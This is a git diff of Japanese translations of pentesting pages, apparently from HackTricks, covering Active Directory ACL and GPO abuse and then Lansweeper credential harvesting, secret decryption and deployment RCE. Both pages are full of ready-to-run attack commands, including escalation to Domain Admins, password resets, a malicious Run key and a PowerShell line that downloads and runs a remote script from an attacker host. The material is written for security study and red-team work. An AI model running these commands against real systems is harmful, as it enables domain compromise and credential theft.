- **Targeted Kerberoasting**: ユーザーのアカウントにSPNを割り当ててkerberoastableにし、次にRubeusとtargetedKerberoast.pyを使用してticket-granting ticket (TGT) ハッシュを抽出し、クラックを試みます。
|
||||
- **Targeted Kerberoasting**: ユーザーのアカウントに SPN を割り当てて kerberoastable にし、Rubeus と targetedKerberoast.py を使用して ticket-granting ticket (TGT) のハッシュを抽出し、クラッキングを試みます。
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: ユーザーの pre-authentication を無効化し、そのアカウントを ASREPRoasting に対して脆弱にする。
|
||||
- **Targeted ASREPRoasting**: ユーザーの pre-authentication を無効化し、そのアカウントを ASREPRoasting に対して脆弱にします。
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **グループに対する GenericAll 権限**
|
||||
|
||||
この権限により、攻撃者は `Domain Admins` のようなグループに対して `GenericAll` 権限を持っている場合、グループのメンバーシップを操作できます。`Get-NetGroup` でグループの識別名(distinguished name)を特定した後、攻撃者は以下のことができます:
|
||||
この権限により、攻撃者は `Domain Admins` のようなグループに対して `GenericAll` 権限を持っている場合、グループのメンバーシップを操作できます。`Get-NetGroup` でグループの識別名を特定した後、攻撃者は次のことができます:
|
||||
|
||||
- **自分自身を `Domain Admins` グループに追加する**: これは直接コマンドで行うか、Active Directory や PowerSploit のようなモジュールを使用して行えます。
|
||||
- **自分自身を Domain Admins グループに追加する**: これは直接コマンドで行うか、Active Directory や PowerSploit のようなモジュールを使用して行うことができます。
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
- Linux上からでもBloodyADを使い、対象グループに対してGenericAll/Writeのメンバーシップを持っていれば任意のグループに自分を追加できます。もし対象グループが“Remote Management Users”にネストされている場合、そのグループを有効にしているホストでは即座にWinRMアクセスを得られます:
|
||||
Linuxからは、BloodyADを利用して、対象グループに対してGenericAll/Writeのメンバーシップを持っている場合に任意のグループに自分を追加することもできます。対象グループが“Remote Management Users”にネストされている場合、そのグループを適用しているホストでは即座にWinRMアクセスを取得します:
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
@ -46,35 +46,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
コンピューターオブジェクトまたはユーザーアカウントでこれらの権限を保持していると、以下が可能になります:
|
||||
これらの権限をコンピューターオブジェクトやユーザーアカウントに保持していると、以下が可能になります:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: コンピューターオブジェクトを乗っ取ることができます。
|
||||
- **Shadow Credentials**: この技術を使用して、権限を悪用して shadow credentials を作成することで、コンピューターやユーザーアカウントを偽装できます。
|
||||
- **Kerberos Resource-based Constrained Delegation**: コンピューターオブジェクトの乗っ取りが可能になります。
|
||||
- **Shadow Credentials**: この手法を用いることで、権限を利用して shadow credentials を作成し、コンピューターやユーザーアカウントを偽装できます。
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
特定のグループ(例: `Domain Admins`)のすべてのオブジェクトに対して`WriteProperty`権限を持っている場合、以下が可能になります:
|
||||
特定のグループ(例: `Domain Admins`)に対するすべてのオブジェクトに対して `WriteProperty` 権限をユーザーが持っている場合、次のことが可能です:
|
||||
|
||||
- **自分を `Domain Admins` グループに追加する**: `net user` と `Add-NetGroupUser` コマンドを組み合わせて実行することで実現可能で、この方法はドメイン内での権限昇格を可能にします。
|
||||
- **Add Themselves to the Domain Admins Group**: `net user` と `Add-NetGroupUser` コマンドを組み合わせることで実現可能で、この方法はドメイン内での特権昇格を可能にします。
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **グループに対する Self(自己メンバーシップ)**
|
||||
## **Self (Self-Membership) on Group**
|
||||
|
||||
この権限により、攻撃者はグループメンバーシップを直接操作するコマンドを使って、自分自身を `Domain Admins` のような特定のグループに追加できます。次のコマンド列を使用すると自己追加が可能です:
|
||||
この特権により、攻撃者はグループのメンバーシップを直接操作するコマンドを使って、`Domain Admins` のような特定のグループに自身を追加できます。次のコマンド列を使用すると自己追加が可能になります:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Self-Membership)**
|
||||
## **WriteProperty (自己メンバーシップ)**
|
||||
|
||||
同様の権限で、対象グループに対して `WriteProperty` 権限を持っている場合、攻撃者はグループのプロパティを変更して自身を直接グループに追加できます。この権限の確認と実行は以下で行われます:
|
||||
似た権限で、攻撃者がそのグループに対して `WriteProperty` 権利を持っている場合、グループのプロパティを変更して自分自身を直接グループに追加することを可能にします。この権限の確認と実行は次の方法で行います:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
ユーザーに対して `User-Force-Change-Password` の `ExtendedRight` を持っていると、現在のパスワードを知らなくてもパスワードをリセットできます。 この権利の検証と悪用は PowerShell やその他のコマンドラインツールで行うことができ、対話型セッションや非対話環境向けのワンライナーを含む複数の方法でユーザーのパスワードをリセットできます。 コマンドは単純な PowerShell 呼び出しから Linux 上の `rpcclient` を使うものまであり、attack vectors の多様性を示しています。
|
||||
ユーザーに対する `ExtendedRight` の `User-Force-Change-Password` を保持していると、現在のパスワードを知らなくてもパスワードをリセットできます。この権利の確認と悪用は PowerShell や代替のコマンドラインツールで行え、対話的セッションや非対話環境向けの one-liners を含む、ユーザーのパスワードをリセットするいくつかの方法が提供されます。コマンドは単純な PowerShell 呼び出しから Linux 上での `rpcclient` の使用まで幅があり、攻撃ベクターの多様性を示しています。
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -85,23 +85,23 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **グループの WriteOwner**
|
||||
## **グループにおける WriteOwner**
|
||||
|
||||
攻撃者があるグループに対して `WriteOwner` 権限を持っていることを発見した場合、グループの所有者を自分自身に変更できます。これは対象のグループが `Domain Admins` の場合に特に影響が大きく、所有権を変更することでグループ属性やメンバーシップに対するより広範な制御が可能になります。プロセスは、まず `Get-ObjectAcl` で対象オブジェクトを特定し、次に `Set-DomainObjectOwner` を使用して SID または名前で所有者を変更する、という手順になります。
|
||||
攻撃者がグループに対して `WriteOwner` 権限を持っていることを発見した場合、そのグループの所有権を自身に変更できます。これは対象のグループが `Domain Admins` である場合に特に影響が大きく、所有権を変更することでグループの属性やメンバーシップに対するより広い制御が可能になります。手順としては、`Get-ObjectAcl` で正しいオブジェクトを特定し、`Set-DomainObjectOwner` を使用して所有者を SID または名前で変更します。
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on User**
|
||||
## **GenericWrite on ユーザー**
|
||||
|
||||
この権限により、攻撃者はユーザーのプロパティを変更できます。具体的には、`GenericWrite` アクセスがあれば、攻撃者はユーザーのログオンスクリプトパスを変更して、ユーザーのログオン時に悪意のあるスクリプトを実行させることができます。これは、`Set-ADObject` コマンドを使用して対象ユーザーの `scriptpath` プロパティを攻撃者のスクリプトを指すように更新することで実現します。
|
||||
この権限により、攻撃者はユーザーの属性を変更できます。具体的には、`GenericWrite`アクセスを持つと、攻撃者はユーザーのログオンスクリプトのパスを変更して、ユーザーのログオン時に悪意のあるスクリプトを実行させることができます。これは、`Set-ADObject`コマンドを使用して対象ユーザーの`scriptpath`プロパティを攻撃者のスクリプトを指すように更新することで実現します。
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group**
|
||||
|
||||
この権限があれば、攻撃者はグループのメンバーシップを操作できます。例えば、自分自身や他のユーザーを特定のグループに追加することが可能です。このプロセスは、資格情報オブジェクトを作成し、それを使ってユーザーをグループに追加または削除し、PowerShell コマンドでメンバーシップの変更を検証することを含みます。
|
||||
この権限があれば、攻撃者は自身や他のユーザーを特定のグループに追加するなど、グループのメンバーシップを操作できます。この手順では、credential object を作成し、それを使ってユーザーをグループに追加または削除し、PowerShell コマンドでメンバーシップの変更を検証します。
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -111,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
AD オブジェクトを所有し、そのオブジェクトに対して `WriteDACL` 権限を持っていると、攻撃者はそのオブジェクトに対して自分自身に `GenericAll` 権限を付与することができます。これは ADSI 操作によって実現され、オブジェクトの完全な制御とグループメンバーシップの変更が可能になります。とはいえ、Active Directory モジュールの `Set-Acl` / `Get-Acl` cmdlets を使用してこれらの権限を悪用しようとする際には制限があります。
|
||||
ADオブジェクトを所有し、かつそのオブジェクトに対して `WriteDACL` 権限を持っていると、攻撃者は自身に当該オブジェクトの `GenericAll` 権限を付与できます。これは ADSI 操作によって行われ、オブジェクトの完全な制御やグループメンバーシップの変更を可能にします。とはいえ、Active Directory モジュールの `Set-Acl` / `Get-Acl` コマンドレットを使ってこれらの権限を悪用しようとする場合には制限があります。
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -119,67 +119,67 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||
$ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **ドメイン上のレプリケーション (DCSync)**
|
||||
## **ドメイン上でのレプリケーション (DCSync)**
|
||||
|
||||
DCSync attackは、ドメイン上の特定のレプリケーション権限を利用してDomain Controllerを模倣し、ユーザー資格情報を含むデータを同期します。この強力な手法は `DS-Replication-Get-Changes` のような権限を必要とし、攻撃者がDomain Controllerに直接アクセスせずにAD環境から機密情報を抽出できるようにします。 [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
DCSync攻撃は、ドメイン上の特定のレプリケーション権限を悪用してドメインコントローラを模倣し、ユーザー資格情報を含むデータを同期します。この強力な手法は `DS-Replication-Get-Changes` のような権限を必要とし、攻撃者がドメインコントローラへ直接アクセスしなくてもAD環境から機密情報を抽出できます。 [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
|
||||
## GPOの委任 <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### GPOの委任
|
||||
|
||||
Group Policy Objects (GPOs) の管理を委任されたアクセスは重大なセキュリティリスクを招く可能性があります。例えば、`offense\spotless` のようなユーザーにGPO管理権限が委任されている場合、**WriteProperty**, **WriteDacl**, **WriteOwner** といった権限を持つことがあります。これらの権限は悪用され得るもので、PowerViewを使って次のように確認できます: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Group Policy Objects (GPOs) の管理を委任されたアクセスは重大なセキュリティリスクとなり得ます。例えば、`offense\spotless` のようなユーザーが GPO 管理権限を委任されている場合、**WriteProperty**, **WriteDacl**, **WriteOwner** といった特権を持っている可能性があります。これらの権限は悪用され得ます。PowerView を使って識別する例: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### GPO権限の列挙
|
||||
### GPOの権限列挙
|
||||
|
||||
誤設定されたGPOを特定するには、PowerSploitのcmdletを連結して使用できます。これにより、特定のユーザーが管理権限を持つGPOを発見できます: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
誤設定された GPO を特定するために、PowerSploit の cmdlet を連鎖させることができます。これにより、特定のユーザーが管理権限を持つ GPO を発見できます: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**特定のポリシーが適用されているコンピュータ**: 特定のGPOがどのコンピュータに適用されているかを解決して、潜在的な影響範囲を把握できます。 `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**特定のポリシーが適用されているコンピュータ**: どのコンピュータに特定の GPO が適用されているかを解決することで、影響範囲を把握できます。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**特定のコンピュータに適用されているポリシー**: 特定のコンピュータにどのポリシーが適用されているかを確認するには、`Get-DomainGPO` のようなコマンドを使用します。
|
||||
**特定のコンピュータに適用されているポリシー**: 特定のコンピュータにどのポリシーが適用されているかを確認するには、`Get-DomainGPO` のようなコマンドを使用できます。
|
||||
|
||||
**特定のポリシーが適用されているOU**: 指定されたポリシーによって影響を受ける組織単位(OU)を特定するには、`Get-DomainOU` を使用できます。
|
||||
**特定のポリシーが適用されているOU**: 指定されたポリシーが影響を与えている組織単位 (OU) を特定するには `Get-DomainOU` を使用できます。
|
||||
|
||||
また [**GPOHound**](https://github.com/cogiceo/GPOHound) を使用して GPO を列挙し、問題を見つけることもできます。
|
||||
GPO を列挙して問題点を見つけるには、ツール [**GPOHound**](https://github.com/cogiceo/GPOHound) も使用できます。
|
||||
|
||||
### Abuse GPO - New-GPOImmediateTask
|
||||
|
||||
誤設定されたGPOはコード実行に悪用される可能性があり、例えば即時スケジュールされたタスクを作成することで実行できます。これにより、影響を受けるマシンのローカル管理者グループにユーザーを追加して権限を大幅に昇格させることができます:
|
||||
誤設定された GPO はコード実行に悪用される可能性があり、例えば即時の scheduled task を作成することで実行できます。これにより、影響を受けるマシンにユーザーをローカル管理者グループへ追加し、権限を大幅に昇格させることが可能です:
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy module - Abuse GPO
|
||||
|
||||
GroupPolicy moduleがインストールされていると、新しいGPOsの作成とリンク、そして影響を受けたコンピュータ上でbackdoorsを実行するためのregistry valuesなどの設定が可能になります。この方法はGPOが更新され、実行のためにユーザーがコンピュータにログインすることを必要とします:
|
||||
GroupPolicy moduleがインストールされていると、新しいGPOsの作成とリンク、および影響を受けたコンピュータでbackdoorsを実行するためのregistry valuesなどの設定を行うことができます。この方法は、GPOが更新され、実行のためにユーザがコンピュータにログインする必要があります:
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuse は、既存の GPOs を新たに作成することなく、タスクを追加したり設定を変更したりして既存の GPOs を悪用する方法を提供します。
|
||||
このツールを使用するには、変更を適用する前に既存の GPOs を修正するか、RSAT ツールを使用して新しい GPOs を作成する必要があります:
|
||||
SharpGPOAbuseは、既存の GPOs にタスクを追加したり設定を変更したりして、新しい GPOs を作成することなく悪用する方法を提供します。
|
||||
このツールを使用して変更を適用するには、既存の GPOs を修正するか、RSAT ツールを使用して新しいものを作成する必要があります:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### ポリシー更新を強制する
|
||||
### ポリシーの強制更新
|
||||
|
||||
GPO の更新は通常約 90 分ごとに行われます。変更を適用した直後にプロセスを早めたい場合、ターゲットコンピュータ上で `gpupdate /force` を実行して即時のポリシー更新を強制できます。このコマンドにより、次の自動更新サイクルを待たずに GPO の変更が適用されます。
|
||||
GPOの更新は通常約90分ごとに行われます。このプロセスを迅速化するため、特に変更を実施した直後は、ターゲットコンピュータ上で `gpupdate /force` コマンドを使用して即時にポリシー更新を強制できます。このコマンドにより、次の自動更新サイクルを待たずにGPOへの変更が適用されます。
|
||||
|
||||
### 内部の仕組み
|
||||
|
||||
特定の GPO の Scheduled Tasks を確認すると、`Misconfigured Policy` のような GPO 内に `evilTask` といったタスクが追加されていることが確認できます。これらのタスクは、システム動作を変更したり権限昇格を狙ったりするスクリプトやコマンドラインツールによって作成されます。
|
||||
特定のGPO、例えば `Misconfigured Policy` のScheduled Tasksを確認すると、`evilTask` のようなタスクが追加されていることが確認できます。これらのタスクは、システムの挙動を変更したり権限を昇格させたりすることを目的としたスクリプトやコマンドラインツールによって作成されます。
|
||||
|
||||
`New-GPOImmediateTask` によって生成される XML 構成ファイルに示されるタスクの構造は、実行されるコマンドやトリガーなど、スケジュールされたタスクの詳細を示しています。このファイルは GPO 内でスケジュールタスクがどのように定義・管理されるかを表しており、ポリシー適用の一環として任意のコマンドやスクリプトを実行する手段を提供します。
|
||||
タスクの構造は、`New-GPOImmediateTask` によって生成されたXML構成ファイルに示されているように、実行されるコマンドやトリガーを含むスケジュールタスクの詳細を明示しています。このファイルは、GPO内でスケジュールタスクがどのように定義・管理されるかを表しており、ポリシー適用の一環として任意のコマンドやスクリプトを実行する手段を提供します。
|
||||
|
||||
### Users and Groups
|
||||
### ユーザーとグループ
|
||||
|
||||
GPO はターゲットシステム上のユーザーやグループメンバーシップの操作も可能にします。Users and Groups ポリシーファイルを直接編集することで、攻撃者はローカルの `administrators` グループなどの特権グループにユーザーを追加できます。これは、GPO 管理権限の委任によりポリシーファイルを変更して新しいユーザーを含めたりグループメンバーシップを変更したりすることが許可されているためです。
|
||||
GPOはターゲットシステム上のユーザーやグループのメンバーシップを操作することも可能にします。Users and Groupsのポリシーファイルを直接編集することで、攻撃者はローカルの `administrators` グループのような特権グループにユーザーを追加できます。これはGPO管理権限の委任により可能となり、ポリシーファイルを変更して新しいユーザーを追加したりグループメンバーシップを変更したりすることが許可されます。
|
||||
|
||||
Users and Groups の XML 構成ファイルは、これらの変更がどのように実装されるかを示しています。このファイルにエントリを追加することで、特定のユーザーに対して影響を受けるシステム全体で昇格した権限を付与できます。この手法は、GPO 操作を通じた直接的な権限昇格の方法を提供します。
|
||||
Users and Groups用のXML構成ファイルは、これらの変更がどのように実施されるかを示します。このファイルにエントリを追加することで、特定のユーザーに影響を受けるシステム全体で昇格権限を付与できます。この方法はGPO操作を通じた直接的な権限昇格の手段を提供します。
|
||||
|
||||
さらに、logon/logoff scripts の活用、registry keys for autoruns の変更、.msi files を使ったソフトウェアのインストール、service configurations の編集など、コード実行や永続化のための追加手段も考えられます。これらの技術は、GPO の悪用によってアクセスを維持しターゲットシステムを制御する多様な経路を提供します。
|
||||
さらに、logon/logoffスクリプトの利用、autoruns用のレジストリキーの変更、.msiファイルを介したソフトウェアのインストール、サービス構成の編集など、コード実行や永続化のための追加手法も考えられます。これらの手法は、GPOの悪用を通じてアクセスを維持しターゲットシステムを制御するためのさまざまな方法を提供します。
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
|
||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
||||
|
@ -1,21 +1,21 @@
|
||||
# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE
|
||||
# Lansweeper 悪用: Credential Harvesting, Secrets Decryption, and Deployment RCE
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
LansweeperはWindows上に展開され、Active Directoryと統合されることが多いIT資産発見・インベントリプラットフォームです。Lansweeperに設定された資格情報は、SSH、SMB/WMI、WinRMといったプロトコルを介してアセットへ認証するためにスキャンエンジンによって使用されます。誤設定により以下が頻発します:
|
||||
Lansweeper は、Windows 上に配備され、Active Directory と統合されることが多い IT 資産の検出およびインベントリプラットフォームです。Lansweeper に設定された資格情報は、SSH、SMB/WMI、WinRM などのプロトコルを介して資産へ認証するためにスキャンエンジンによって使用されます。設定ミスによりしばしば次が可能になります:
|
||||
|
||||
- スキャン対象を攻撃者管理のホスト(honeypot)にリダイレクトすることで資格情報を傍受される
|
||||
- Lansweeper-related groupsによって露出したAD ACLを悪用してリモートアクセスを獲得する
|
||||
- Lansweeperに設定されたシークレット(接続文字列や保存されたスキャン資格情報)をオンホストで復号する
|
||||
- Deployment機能を介して管理対象エンドポイント上でコード実行を行う(多くの場合SYSTEMとして実行される)
|
||||
- スキャンターゲットを攻撃者管理ホスト(honeypot)にリダイレクトすることでの credential interception
|
||||
- Lansweeper 関連グループによって公開された AD ACLs を悪用してリモートアクセスを取得
|
||||
- ホスト上での Lansweeper 設定済みの secrets の復号(connection strings と保存された scanning credentials)
|
||||
- Deployment 機能を介した管理対象エンドポイントでのコード実行(多くの場合 SYSTEM として実行)
|
||||
|
||||
このページは、エンゲージメント中にこれらの挙動を悪用するための実践的な攻撃者ワークフローとコマンドをまとめたものです。
|
||||
|
||||
## 1) Harvest scanning credentials via honeypot (SSH example)
|
||||
## 1) honeypot を使ったスキャン資格情報の収集 (SSH の例)
|
||||
|
||||
アイデア:あなたのホストを指すScanning Targetを作成し、既存のScanning Credentialsをそれにマップします。スキャンが実行されると、Lansweeperはそれらの資格情報で認証を試み、あなたのhoneypotがそれらをキャプチャします。
|
||||
Idea: create a Scanning Target that points to your host and map existing Scanning Credentials to it. When the scan runs, Lansweeper will attempt to authenticate with those credentials, and your honeypot will capture them.
|
||||
|
||||
手順概要(web UI):
|
||||
Steps overview (web UI):
|
||||
- Scanning → Scanning Targets → Add Scanning Target
|
||||
- Type: IP Range (or Single IP) = your VPN IP
|
||||
- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
|
||||
@ -39,7 +39,7 @@ sshesame --config sshesame.conf
|
||||
# authentication for user "svc_inventory_lnx" with password "<password>" accepted
|
||||
# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
|
||||
```
|
||||
キャプチャした creds を DC services に対して検証する:
|
||||
キャプチャした creds を DC サービスに対して検証する:
|
||||
```bash
|
||||
# SMB/LDAP/WinRM checks (NetExec)
|
||||
netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
@ -47,14 +47,14 @@ netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
注意
|
||||
- スキャナをリスナーに誘導できる場合、他のプロトコルでも同様に機能します(SMB/WinRM honeypots, etc.)。SSH は最も単純なことが多い。
|
||||
- 多くのスキャナは固有のクライアントバナー(例: RebexSSH)で自分自身を識別し、uname, whoami などの無害なコマンドを試行します。
|
||||
- スキャナーを自分のリスナーに強制できる場合、他のプロトコルでも同様に機能する(SMB/WinRM honeypots など)。SSH が最も単純なことが多い。
|
||||
- 多くのスキャナーは明確なクライアントバナーで自分自身を識別する(例: RebexSSH)し、uname や whoami などの無害なコマンドを試みる。
|
||||
|
||||
## 2) AD ACL abuse: アプリ管理者グループに自分を追加してリモートアクセスを取得
|
||||
## 2) AD ACL abuse: アプリ管理者グループに自分を追加してリモートアクセスを獲得
|
||||
|
||||
侵害したアカウントからの有効な権利を列挙するには BloodHound を使用します。よくある発見としては、スキャナやアプリ固有のグループ(例: “Lansweeper Discovery”)が特権グループ(例: “Lansweeper Admins”)に対して GenericAll を持っているケースです。もしその特権グループが “Remote Management Users” のメンバーでもあるなら、自分を追加すると WinRM が利用可能になります。
|
||||
侵害したアカウントから有効な権限を列挙するには BloodHound を使用する。一般的な発見例として、スキャナーやアプリ固有のグループ(例: “Lansweeper Discovery”)が特権グループ(例: “Lansweeper Admins”)に対して GenericAll を持っていることがある。もしその特権グループが “Remote Management Users” のメンバーでもあれば、我々が自分を追加すると WinRM が利用可能になる。
|
||||
|
||||
Collection examples:
|
||||
収集例:
|
||||
```bash
|
||||
# NetExec collection with LDAP
|
||||
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
|
||||
@ -71,24 +71,24 @@ add groupMember "Lansweeper Admins" svc_inventory_lnx
|
||||
# Confirm WinRM access if the group grants it
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
次にインタラクティブシェルを取得する:
|
||||
次に、interactive shellを取得する:
|
||||
```bash
|
||||
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
ヒント: Kerberos の操作は時間に敏感です。KRB_AP_ERR_SKEW に遭遇した場合は、まず DC と同期してください:
|
||||
ヒント: Kerberos の操作は時間に敏感です。KRB_AP_ERR_SKEW が発生した場合は、まず DC と時刻を同期してください:
|
||||
```bash
|
||||
sudo ntpdate <dc-fqdn-or-ip> # or rdate -n <dc-ip>
|
||||
```
|
||||
## 3) ホスト上で Lansweeper に設定された秘密を復号する
|
||||
## 3) Decrypt — ホスト上の Lansweeper に設定されたシークレット
|
||||
|
||||
Lansweeper サーバでは、ASP.NET サイトが通常、暗号化された接続文字列とアプリケーションで使用される対称鍵を格納しています。適切なローカルアクセスがあれば、DB 接続文字列を復号して保存されたスキャン用資格情報を抽出できます。
|
||||
Lansweeper サーバーでは、ASP.NET サイトが通常、アプリケーションで使用される暗号化された connection string と対称鍵を格納しています。適切なローカルアクセス権があれば、DB connection string を復号し、保存されているスキャン用の認証情報を抽出できます。
|
||||
|
||||
典型的な場所:
|
||||
Typical locations:
|
||||
- Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
|
||||
- `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
|
||||
- アプリケーションキー: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
|
||||
|
||||
保存された資格情報の復号とダンプを自動化するには SharpLansweeperDecrypt を使用します:
|
||||
SharpLansweeperDecrypt を使って、保存された認証情報の復号とダンプを自動化します:
|
||||
```powershell
|
||||
# From a WinRM session or interactive shell on the Lansweeper host
|
||||
# PowerShell variant
|
||||
@ -99,12 +99,12 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
|
||||
# - Connect to Lansweeper DB
|
||||
# - Decrypt stored scanning credentials and print them in cleartext
|
||||
```
|
||||
期待される出力には、DB接続の詳細や、環境全体で使用される Windows や Linux アカウントなどの平文のスキャン用資格情報が含まれます。これらはしばしばドメインホスト上でローカル権限が昇格しています:
|
||||
予想される出力には、DB接続の詳細や、環境全体で使用されるWindowsやLinuxアカウントなどのプレーンテキストのスキャン用資格情報が含まれます。これらはしばしばドメインホスト上で昇格したローカル権限を持っています:
|
||||
```text
|
||||
Inventory Windows SWEEP\svc_inventory_win <StrongPassword!>
|
||||
Inventory Linux svc_inventory_lnx <StrongPassword!>
|
||||
```
|
||||
回収した Windows スキャン用 creds を使って特権アクセスを取得する:
|
||||
回収した Windows scanning creds を使用して特権アクセスを取得する:
|
||||
```bash
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
|
||||
# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
|
||||
@ -127,21 +127,21 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
|
||||
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
|
||||
```
|
||||
OPSEC
